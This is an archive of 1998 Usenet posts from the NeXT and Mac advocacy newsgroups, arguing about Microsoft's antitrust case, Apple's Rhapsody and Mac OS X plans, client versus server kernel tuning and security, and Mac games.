> >resort to illegal activities of which they are now being prosecuted for.
> >I'd say that Netscape is just the tip of the iceberg.
>
> Voicing your opinion, when it's presented as opinion, I have no
> problem with. Just don't claim your opinion as fact and expect that
> you mightn't be called upon to support it with hard fact.
>
My paraphrases were drawn from the posted news (news that was not refuted
by Microsoft itself) and from the DOJ and State complaint text. The
definition of a fact is a theory that has withstood the test of time. If
it has not been refuted then it may be considered factual until proven
otherwise.
> >> And NS is hardly extinguished. They still own > 50 of the market.
>
> >Because they are a vital (not willing to lay down and die) company not
> >because Microsoft is guiltless.
>
> Then you are retracting your statement that MS has nearly extinguished
> NS?
>
No. Netscape has moved into related markets.
> >> >> > Yes, it may be easier for you as a developer (that's for you to
> >decide)
> >> >> >but just remember, almost all your technology comes from one place
-
> >> >> >Microsoft yet there is a whole world outside of Redmond, WA for
LINUX
> >to
> >> >> >benefit from.
>
> >> >> Yeah, and those pesky file dialogs all come from them too. But
wait:
> >> >> a developer could write their own dialogs, if they wanted. So it's
> >> >> not the same thing.
>
> >> >Which puts you OUTSIDE of Redmond most likely.
>
> >> Huh?
>
> >You being outside of Redmond is a figure of speech. You are not part of
> >Microsoft are you? If not then you are little fish to be fried someday.
>
> And this rebuts my point (which you split in half) exactly how?
>
Some companies HAVE created their file dialogs. Delphi and C++Builder are
gaining ground with almost NO advertising due to the fact that they are
world-class products that stand solely on the basis of technical merit and
user popularity. You can do things with Delphi standard that VB
programmers only wish they could do. Also, the fact that the language used
is more capable right off the drawing board than the oft modified and
underpowered basic language.
> >> >> But wait: a developer could write their own code to render HTML in
> >> >> their app, if they wanted, too. Guess it is...
>
> >> >The point is NOT whether someone could write their own code - the
> >> >developers of LINUX did that; the point is that as developers get
> >locked
> >> >into Microsoft solutions then their codebase is largely limited to
> >> >Microsoft and to a lesser extent, compatible operating systems.
>
> >> Yeah, and if you develop for MacOS, you're limited to that market.
> >> Except that the Windows market is far bigger, so your chances are
> >> better there.
>
> >Exactly why MacOS is so limited in what is available in third-party
> >software. What software there is is VERY good but not enough of it.
Apple
> >just didn't advertise like Microsoft did also cost allot more. There
are
> >versions of LINUX for just about every hunk of computer hardware in
> >existence - programs are nearly all crossplatform and those that aren't
are
> >pretty easily modified meaning LINUX is the operating system for the
world
> >rather than just the US Apple users can get LINUX and install it, i386,
> >SPARC, Alpha, etc... etc...etc... You as a developer should be able to
see
> >the potential for future profit that LINUX can afford you in cross
platform
> >availability - before you know it, all flavors of UNIX not just LINUX
will
> >be enjoying the common multimedia capabilities now available on LINUX.
>
> But writing Windows software is far more likely to pay my bills
> * today *. And my point is, that if you didn't want to use the common
> dialogs and other system services available from Windows, you would
> not have to. OTOH, why reinvent the wheel for something as trivial as
> a file dialog? I'd much rather concentrate on the features I hope
> will cause John Q Public to purchase my app, which I seriously doubt a
> new common dialog would do.
>
But but but... what about your tomorrow? I will create my own file
dialogue if I want to - I may want to provide functionality not included in
the standard file dialogue. Think of the things you could do with
differentiation from the norm! Putting custom things in your programs
while maintaining common and expected interfaces means the difference
between a run-of-the-mill app and an exciting one.
> >> >> >Evidently, you wont be able to get very far developing
applications
> >from
> >> >> >now on (in Windows) without using Microsoft's proprietary
development
> >> >> >environments or buying their software development kits now will
you.
>
> >> >> Why do you think this?
>
> >> >Other vendors are being pushed out or backed into a corner. Take
> >> >Borland/Inprise for example; they used to be the major player in
> >compilers
> >> >and development tools for DOS/Windows. After MFC was put forward as
the
> >> >standard on Windows systems, the Object Windows Library was view as
> >> >incompatible by many developers. In reality, the OWL is mainly an
> >> >encapsulation of the foundation objects of Windows with the
subclassing
> >> >being a snap. Delphi and C++Builder are worldclass tools that are
> >> >respected yet oftentimes avoided because of decisions by managers to
> >remain
> >> >with Microsoft. Decisions made almost exclusively on the basis of
> >> >COMPATIBILITY which is a laugh.
> >> >
> >> >Do you use any tools from other vendors? And if so, which and what
> >> >percentage of total?
>
> >> The same tools which are used on other platforms can be used to
> >> develop for Windows. I'm kind of partial to ones like GCC or
> >> Codewarrior, which facilitate cross-platform development.
>
> >Good for you! So we agree then?
>
> No. You just said you won't be able to get very far developing
> Windows apps without MS's tools. Unless you are retract that
> statement, we don't agree at all.
>
I will retract it so far as to say that you can develop without MS tools
yes. I've said so myself. My point is that it is not in the MS plan for
you to continue to do so.
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Tue, 16 Jun 1998 14:55:40 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980616143046.20684A-100000@ux9.cso.uiuc.edu>
References: <3586B3E2.33590565@ctron.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <3586B3E2.33590565@ctron.com>
On Tue, 16 Jun 1998, A. J. LaSalle wrote:
> From http://macopinion.com/editorials/rhaposb.html
>
> What do people think about this opinion piece?
>
> From what I've read I guess that Rhapsody wasn't going
> to be a good MacOS platform, so Apple had to keep updating
> MacOS 8+ and fix rhapsody so it would be a good Mac citizen
> by transforming it into MacOSX. But it does seem like they
> are in quite a quandry. IF Apple was basically planning
> to dead end Rhapsody as a product line, then why did they talk
> about it at all.
That's because Apple wasn't _planning_ to dead-end Rhaspody.
This only cropped up shortly before WWDC. Apple has handled its entire OS
situation _terribly_. About the only thing it handled acceptably was the
actual release of Mac OS 8, but I think even that could have been better.
Mac OS 8 did spectacularly well though. I think that indicates tremendous
pent up demand for an "advanced" OS in the Macintosh community. I'm doubt
that Rhapsody really fits as a mainstream OS, but the market that Apple
has consigned Rhapsody to with this Mac OS X business is going to be
even smaller than it might have been.
> Seems that OS 8.5, 8.6 and 9.0 are going
> to be fairly good improvements. Couldn't they have done
> the MacOSX/Rhapsody demos/info sessions in a 'back room'
> format. Heck there isn't even a developers version of OSX yet.
> Why didn't they wait till the next WWDC to make a big deal
> about it (when it would be shipping in 6 months or so)?
'cause Apple is inept at public relations and marketing.
Had Apple made its Mac OS X strategy clear specifically and only to
developers and made much less of a big deal of it outside that community,
things would not be so bad. The problem with annoucning Mac OS X at WWDC
as Apple did is that even though WWDC is a _developers_ conference, it
ends up immediately reaching the ears of the general public.
I'm not sure Apple has really learned that the internet propagates
computer related news and more importantly _interpretations_ of that news
far faster than any media before. Anything Apple makes so public as it did
at WWDC this year immediately reaches the ears of millions of people world
wide and everyone will immediately draw a conclusion from that. Apple
can't rely on having time to develop and clarify its position as the
information makes it to the public. Its position has to be set clearly
from the start or the clarification and development of its position will
be seen as backpedaling and wimping out or in short incompetence.
Or not. I could be wrong.
> Seems to me that the best thing for Mac Users would have been
> to put Carbon on top of the Copland kernel, made it 100% PPC
> native, put and end to 68k emulation and moved forward.
> Improvements to navigation, I/0 performance, PMT and PM,
> etc, would have put the MacOS on solid footing as a 'modern'
> desktop OS. Forget all this YB, BSD, uber OS stuff. Once
> they had something which formed a solid base (as a client),
> then they could look at what added features would be necessary
> to add middleware and server products on to. Seems to me that
> Apple's task today is to strengthen its
> client/workstation/consumer appeal - first and foremost.
We can certainly see that now. This could have been done a long time ago.
Copland kinda tried to do that, but Apple mismanaged that terribly.
Between trying to maintain backwards compatibility in the same environment
as it was trying to advance "modern" OS features, throwing more and more
money/developers into the picture in the hopes that something useful would
get done, and constantly revising and expanding its design goals, Copland
just wasn't going to happen.
Something like Carbon on a Copland kernel with a separate Blue Box like
Rhapsody's would have been far better than futzing around in the myriad
ways Apple has been for the last 8 years.
> I don't really know what Apple should have done, and of
> course, that's now water under the bridge. I just wish
> that they could straighten things out for a change and put
> forward one simple, unambiguous plan. Your thoughts...
Pffft! Apple? Straighten things out and put forward one simple,
unambiguous plan? Hah! If there could be a sure sign of the impending doom
of the world, that would be it. :)
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3586e401.0@206.25.228.5>
Date: 16 Jun 98 21:30:41 GMT
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> John Kheit wrote in message <35862ad9.0@206.25.228.5>...
> >maury@remove_this.istar.ca (Maury Markowitz) wrote: Wrong.
> >It's the same mach kernel.
> >
> The kernel can and should be tuned/configured differently for a
> client and a high availablity server.
This is a red herring, IMO. OPENSTEP does a reasonable job for
both client and server work. NT doesn't, no matter how tuned the
"server" version has been. The base kernel is the same, and it's
performance and scaling is the same. Sure, anyone can cripple
things by purposefully trying to do so, but the performance levels
should be there.
Also, the degree to compensate for a "client" environment is mild.
A good (reads real, not some dumb ass microsoft or old mac os crap)
OS will allow for single users to do lots of stuff at once, and
several users to do things at once, even if it's predominatly used
by a single user. That's what most/all unices do. The server/client
dichotomy on that os level is more or less negligible. The real
difference is in the hardware and software tools on the box, much
more so than the core os.
> A client configuration should give all available resources to
> the console user. This does not scale past one. A server should
I think that's a pretty dumb as mac like design. I like that my
background processes get reasonable access. The machine should be
indifferent to whether or not those background tasks are mine or
someone elses. The kernel should have a balanced performance model,
rather than the moronic ones employed by the current macos and
windows solutions. Again, the best examples are from the unices
out there. The clients could do a fine job of load handling, just
like the servers, by and large.
> very carfully ballance load while not letting high priority tasks
> like inetd or dns get behind. Clients and servers also have
> different desired levels of security.
Agreed on security. Still, that is, at least on the unix side,
more of an application issue rather than a core OS/scalability
question.
> To compete as a server OS, MacOSX will have to have administraitive
> tools comparable to other server OSs. If for example MacOSX has
> no convenient way to batch add users and create accounts, it will
> not be very attractive to a university as a lab server.
Yes, but that has nothing to do with the inate ability of the OS
to scale and perform well as a server os. That has more to do with
the ability to install apps. Likely, a unix layer will be an
optional install on OSX. That provides the BSD baseline in
administration. Other gui solutions will be available for purchase.
One can always buy these things. It has little to nothing to do
with the ability of the OS to scale as a server os.
> >Again, having nothing to do with the core os's ability to deal
> >and serve. Assuming that the BSD layer will not be made
> >unavailable, OSX will perform the same.
> >
> OSX will not perform the same for a server adminiatritor if he/she
> can not use familiar tools such as remote shells, flat file
> databases, sed, grep, awk, ps, etc.
That's a "functional" definition of the word "perform." OSX will
perform and scale equally well if you simply install those tools
on OSX. The base OS will scale and perform just fine, contrary to
Crabbs assertions; that is barring apple doing something to
purposefully braindamage performance, or some other unforseen
modifications.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: Tue, 16 Jun 1998 21:39:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m6on3$jj7$1@nnrp1.dejanews.com>
References: <6m50f4$1o3$1@nnrp1.dejanews.com> <35862b85.0@206.25.228.5>
In article <35862b85.0@206.25.228.5>,
jkheit@xtdl.com wrote:
> Or at least do the Gillette razor/doom marketing thing. Give away
> a pretty decent version for free. Say it's limited to producing
> only PPC versions of the software. Then for a modest upgrade fee...
> :)
I wasn't thinking of this as a way of marketting development tools, I was
looking at it as a way of getting people to write YB apps. Windows developers
won't look at it until it will compile to Windows targets.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: Tue, 16 Jun 1998 21:42:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m6ore$k6b$1@nnrp1.dejanews.com>
References: <6m50f4$1o3$1@nnrp1.dejanews.com> <6m61q5$d9i$1@news.spacelab.net>
In article <6m61q5$d9i$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> However, there is the GNUstep project, which does provide a comparible set of
> tools and is working to provide the OpenStep/YB API's. Of course, GNUstep
> isn't anywhere near as mature or as complete, but it's available....
But they don't allow you to target YB so you aren't going to lure over Windows
and Mac developers...
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: NSHosting VS M$'s WTS
Date: Tue, 16 Jun 1998 17:03:30 -0600
Organization: Illinois State University
Message-ID: <3586F991.54A4@rs6000.cmp.ilstu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Well, Apple is screwing itself, as it could've been the market leader
with Rhapsody & OS X in remote computing...but it removed the
client/server functionality now... :(
The Windows Terminal Server (WTS) is overpriced, and the NSHosting in
NEXTSTEP/OPENSTEP for MACH was basically freely included.
"A typical 15 user-based installation of Terminal Server Edition will
cost about $4,600, according to John Frederiksen, a group product
manager at Microsoft."
Apple could've made a HUGE splash, but once again is acting
incomprehensibly. This kind of functionality REALLY SHOULD BE BUILT
INTO THE OS!!! Like UNIX/X11!!!
See:
http://www.news.com/News/Item/0,4,23206,00.html?st.ne.fd.gif.d
-Eric
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Tue, 16 Jun 1998 22:53:30 +0200
Organization: pv
Message-ID: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se>
References: <3586B3E2.33590565@ctron.com>
Cache-Post-Path: mn8!s-49817@dialup116-1-29.swipnet.se
A. J. LaSalle <alasalle@ctron.com> wrote:
> Why didn't they wait till the next WWDC to make a big deal
> about it (when it would be shipping in 6 months or so)?
Because that time is reserved for the next future Mac OS, due in another
12-18 months. The one that will require G4's and obsolete all G3's.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 21:12:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6odnt9.ckr.sal@panix3.panix.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
On Tue, 16 Jun 1998 13:23:08 -0500, Michelle L. Buck <buck.erik@mcleod.net> wrote:
>A client configuration should give all available resources to the console
>user. This does not scale past one. A server should very carfully ballance
>load while not letting high priority tasks like inetd or dns get behind.
Good multitasking is good multitasking. There is no reason why a good server
can not be a good client and vice versa.
>Clients and servers also have different desired levels of security.
True. But I wouln't want my server to be comprimised due to poor security
at one of my clients.
>To compete as a server OS, MacOSX will have to have administraitive tools
>comparable to other server OSs.
Look at what Rhapsody has today. Use that as a starting point.
> If for example MacOSX has no convenient way
>to batch add users and create accounts, it will not be very attractive to a
>university as a lab server.
With Apple Script, it should be very easy to write such a system. And extend
it to provide right to other systems. Or use perl. FWIW, you should be able to
use the CLI based netinfo tools from the CLI in MacOSX.
>Robustness is one key. Standards are another. IMHO nobody wants an
>AppleShare IP server. They want NIS+, NFS, AFS, etc. or they want NetBUI
>from MS.
BSD is a standard. NFS is another. Both are in Rhapsody. NIS can be done,
IIRC. So can SMB. No one will be forced to use AppleShare IP.
>OSX will not perform the same for a server adminiatritor if he/she can not
>use familiar tools such as remote shells, flat file databases, sed, grep,
>awk, ps, etc.
According to Apple people at the WWDC, MacOSX will include BSD and Posix.
That means that you'll have (at least) all the Unix stuff that is in
Rhapsody. MacOSX is not MacOS8, it is Rhapsody. And the last time I checked,
Rhapsody is Unix.
--
sal@panix.com
Salvatore Denaro
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 23:17:54 GMT
Organization: Cygnus Solutions
Message-ID: <6m6uf2$o8d$2@cronkite.cygnus.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
Mime-Version: 1.0
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Cc: buck.erik@mcleod.net
In <6m6d9h$8d81@odie.mcleod.net> "Michelle L. Buck" wrote:
>
> John Kheit wrote in message <35862ad9.0@206.25.228.5>...
> >maury@remove_this.istar.ca (Maury Markowitz) wrote:
> >Wrong. It's the same mach kernel.
> >
> The kernel can and should be tuned/configured differently for a client and
a
> high availablity server.
>
_tuned/configured_ yes. But that does not argue against John's statement.
You can tune a single given kernel to meet the goals of either extreme, if
that given system is well implimented.
While Solaris is not as "high availability" as a Stratus box, it is still
used in high end servers.. one kernel binary is quite configurable for a wide
range of deployment options.
Similarly, if you do a good job in implimenting your mach microkernel,
pagers, and server OS's, you shouldn't have any problem providing a rich set
of performance parameters that allow you to deploy a good desktop unit, or a
good server unit, or something that has to do some of both. It just depends
on how you tune it.
But it is still "the same mach kernel" for any of those 3 cases.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 16 Jun 1998 16:25:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AC4CB9-13EA4@206.165.43.4>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Lars Farm <lars.farm@ite.mh.se> said:
>A. J. LaSalle <alasalle@ctron.com> wrote:
>
>> Why didn't they wait till the next WWDC to make a big deal
>> about it (when it would be shipping in 6 months or so)?
>
>Because that time is reserved for the next future Mac OS, due in another
>12-18 months. The one that will require G4's and obsolete all G3's.
They wouldn't DARE pull something like that...
...would they? :-(
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: Tue, 16 Jun 1998 18:38:54 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6m6vpk$79c1@odie.mcleod.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <3586e401.0@206.25.228.5>
John Kheit wrote in message <3586e401.0@206.25.228.5>...
>"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>> The kernel can and should be tuned/configured differently for a
>> client and a high availablity server.
>
>This is a red herring, IMO. OPENSTEP does a reasonable job for
>both client and server work.
As a 10 year verteran of NeXTStep and Openstep, I can only partly agree.
While used as a client with occasional remote logins, Openstep is ok. Put
to Openstep systems in a NetInfo domain with each machine NFS mounting all
others and network performance for everybody will drop substantially if one
client is busy. The NFS implementation shipped with Openstep was obsolete
when Openstep was new. It is fine for a client. It is terrible for a
server.
>
>Also, the degree to compensate for a "client" environment is mild.
>A good (reads real, not some dumb ass microsoft or old mac os crap)
>OS will allow for single users to do lots of stuff at once, and
>several users to do things at once, even if it's predominatly used
>by a single user. That's what most/all unices do. The server/client
>dichotomy on that os level is more or less negligible. The real
>difference is in the hardware and software tools on the box, much
>more so than the core os.
>
Ok. The real difference is kernel tuning (software) and software tools. We
agree. Server systems need different software tools than clients. Some
tools that differ include nfsd, dns, samba, sendmail, pop3, pppd, lpd, etc.
Most people I think consider these services as part of the operating system.
These services must satisfy different requirements for clients and servers.
>
>> A client configuration should give all available resources to
>> the console user. This does not scale past one. A server should
>
>I think that's a pretty dumb as mac like design. I like that my
>background processes get reasonable access. The machine should be
>indifferent to whether or not those background tasks are mine or
>someone elses. The kernel should have a balanced performance model,
>rather than the moronic ones employed by the current macos and
>windows solutions. Again, the best examples are from the unices
>out there. The clients could do a fine job of load handling, just
>like the servers, by and large.
I agree for the most part. Unfortunatly, sometimes the needs of clients and
the needs of servers are opposed. For example, a console game that takes of
the entire screen and almost all CPU is very desirable for a client. It
should not even be possible to take over the console and or monopolize the
CPU on a server.
A client application might want to saturate the PCI bus with streamed input
from a AtoD card connected to high energy physiscs experiments. Saturating
the bus makes network, graphics, sound, disk, and memory opperations slow.
A server should not allow this one sided consumption of resources. A client
that does not allow and facilitate it is a poor client. If the experiment
was conducted on the machine that was the network DNS server, all machines
on the network would come to a halt.
>
>
>> To compete as a server OS, MacOSX will have to have administraitive
>> tools comparable to other server OSs. If for example MacOSX has
>> no convenient way to batch add users and create accounts, it will
>> not be very attractive to a university as a lab server.
>
>Yes, but that has nothing to do with the inate ability of the OS
>to scale and perform well as a server os. That has more to do with
>the ability to install apps. Likely, a unix layer will be an
>optional install on OSX. That provides the BSD baseline in
>administration. Other gui solutions will be available for purchase.
>One can always buy these things. It has little to nothing to do
>with the ability of the OS to scale as a server os.
>
It will certaily effect market perception of the server OS if even
rudementary server addministration must be purchaed from a third party.
From: "Paul Arthur" <parthur@NoSpamop.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 15 Jun 98 20:18:55 -0500
Organization: OpNet -- Greater Philadelphia Internet Service
Message-ID: <B1AB3239-423EA@209.152.194.46>
References: <6m3hlg$n2m$1@ns3.vrx.net>
Mime-Version: 1.0
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nntp://news.op.net/comp.sys.next.advocacy
On Mon, Jun 15, 1998 11:21 AM, Maury Markowitz
<mailto:maury@remove_this.istar.ca> wrote:
> Yeah, ok, name ONE. One "real world" commercial game that will come out
>for the Mac, that isn't out on the PC as well - likely months earlier.
I'm not sure why your arguments seem to focus on "commercial" versus
"shareware" games. There are a handful of good "commercial quality" games
for the Mac that have recently come out. Nanosaur is a great example.
This is a Mac-only "charityware" game that has gotten a good notice from
the Wintel world. Of course, I do believe its main author was recently
hired by Apple to work on the Quickdraw 3D team, so we most likely won't be
seeing anymore games from him soon (can't recall his name off hand).
Ambrosia Software, of course, makes excellent "commercial quality"
shareware games, with Escape Velocity Override being one of my favorite
games of all times! This game alone would literally make it hard for me to
give up my Mac (at least for the next few months!!). Ambrosia has a good
number of games in the pipeline, and not just of the "Arcade" variety.
Cythera (a RPG game) seems to be next out, based on the Delver RPG engine.
Also, Changeling is a commercial company, and their new Ares game is quite
excellent, but they're having difficulty finding a distributor for this
game (just as another poster in this list commented). This seems to me to
be the biggest problem for Mac game companies--there's just no easy retail
setup to distribute the products. This of course, is related directly to
Apple's loss of marketshare recently.
Still, all of the games I listed above are Mac only, excellent quality, and
have appeared in the last few months alone. This is besides the "Biggies"
such as Bungie's Myth, Presto Studio's Journeyman Project 3, Riven, all of
which appeared in the last year, came out at the same time as the Windows
version, and sold quite profitably on the Mac side of things (at least that
is my understanding from various news and "reports"). And then of course
there are MacSoft's PC port efforts which are continuing (and profitable).
Granted, the DOS/Windows world has ALWAYS had more games than the
Macintosh, so if you're really a game hound, and you can accept the
operating system, go right ahead. But I literally have so many games for
my Mac that I can't possibly find time to play 'em all, and frequently get
comments from friends like "Geez, you have a TON of games!" So although
the recent exodus of large gaming companies from the Mac space (not that
there were ever a ton of them) is troubling, the good games continue to
flow, and hopefully Mac marketshare will increase, retail channels will
improve, and some of the big companies will come back.
Just as a last note, I frequent the MacGamer's Ledge web site, and am
regularly encouraged by the good number of game titles that come out for
the Mac.
Just my POV.
Paul Arthur
---------------------------------------------------
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 16 Jun 1998 14:46:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AC359D-15AF1B@206.165.43.13>
References: <Pine.SOL.3.96.980616143046.20684A-100000@ux9.cso.uiuc.edu>
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Pulsar <tokarek@uiuc.edu> said:
>We can certainly see that now. This could have been done a long time ago.
>Copland kinda tried to do that, but Apple mismanaged that terribly.
>Between trying to maintain backwards compatibility in the same
>environment
>as it was trying to advance "modern" OS features, throwing more and more
>money/developers into the picture in the hopes that something useful would
>get done, and constantly revising and expanding its design goals, Copland
>just wasn't going to happen.
>
Some of us could see it then. Eric King's idea of using GX to produce a
Windows Manager that supported pre-emptive multi-tasking was proposed
months before the NeXT purchase was announced.
In fact, I'm willing to bet that Eric's analysis of what was needed is
pretty darned close to what Carbon + Blue Box + kernel has turned out to
be.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 17:04:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m68ie$fg$1@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6odnt9.ckr.sal@panix3.panix.com> Salvatore Denaro claimed:
> Good multitasking is good multitasking. There is no reason why a good
server
> can not be a good client and vice versa.
This does not follow. For instance there are any number of tasking systems
which are good on servers and not clients, Novell uses a CMT based system for
instance, and RT OS's would be poor choices as well (at least those with
fixed priorities). The statement above is simply not true.
> >Clients and servers also have different desired levels of security.
>
> True. But I wouln't want my server to be comprimised due to poor security
> at one of my clients.
Nor would you want the performance of all of your client workstations
compromised by the tight enforcing of security policy. For instance€C3
requires a server to shut down when the log file gets too full (IE, you are
never allowed to not be able to write to the log file), whereas this is a
silly recommendation for a client machine. It also requires that there be no
physical access to removable storage, again a silly requirement.
So in other words the security of the clients and servers are often
different for very good reasons, and again a secure server side OS does not
make a good choice for the client OS. Luckily this particular requirement is
easier to change via minor hardware and software changes than the kernel.
> Look at what Rhapsody has today. Use that as a starting point.
Which is seriously in doubt for MacOS-X, wouldn't you say?
> >Robustness is one key. Standards are another. IMHO nobody wants an
> >AppleShare IP server. They want NIS+, NFS, AFS, etc. or they want NetBUI
> >from MS.
>
> BSD is a standard. NFS is another. Both are in Rhapsody.
The discussion is not about Rhapsody, it's about MacOS-X.
Maury
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Violent SJ and the ICP was: Re: Reverse Technology -
Date: Tue, 16 Jun 1998 07:35:21 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EuMvqx.958@AWT.NL>
References: <357DB62A.6D843E17@alum.mit.edu> <6lm54c$iqs@btmpjg.god.bel.alcatel.be> <3583A6E8.7C5A@southwind.net>
>> NEXTSTEP was never cross platform (its about OS's, not CPU's).
That's of course a matter of definition. The only way an OS can be
cross-platform if it supports multiple *hardware* platforms. So, in my
definition NEXTSTEP most definitely was cross-platform, and with the
multiple-architecture binaries it was even possible to share binaries on the
network.
>> NEXTSTEP never had a language as good as Java.
Excuse me? What about Objective-C? Especially if you count all the kits?
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 23:10:41 GMT
Organization: Cygnus Solutions
Message-ID: <6m6u1h$o8d$1@cronkite.cygnus.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
Mime-Version: 1.0
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Cc: maury@remove_this.istar.ca
In <6m68ie$fg$1@ns3.vrx.net> Maury Markowitz wrote:
> In <slrn6odnt9.ckr.sal@panix3.panix.com> Salvatore Denaro claimed:
> > >Clients and servers also have different desired levels of security.
> >
> > True. But I wouln't want my server to be comprimised due to poor security
> > at one of my clients.
>
> Nor would you want the performance of all of your client workstations
> compromised by the tight enforcing of security policy. For instance€C3
> requires a server to shut down when the log file gets too full (IE, you are
> never allowed to not be able to write to the log file), whereas this is a
> silly recommendation for a client machine. It also requires that there be
no
> physical access to removable storage, again a silly requirement.
>
> So in other words the security of the clients and servers are often
> different for very good reasons, and again a secure server side OS does not
> make a good choice for the client OS. Luckily this particular requirement
is
> easier to change via minor hardware and software changes than the kernel.
>
Um, if I have a server that requires C3 security, and I am of reasonable
competance in my security procedures, a client that is not also C3 complaint
will not be allowed to connect to my server. Allowing a less secure client
to attach itself to a more secure server essentially means that the server is
now as insecure as the client, because your overall security is typically a
reflection of your weakest, not your strongest, link.
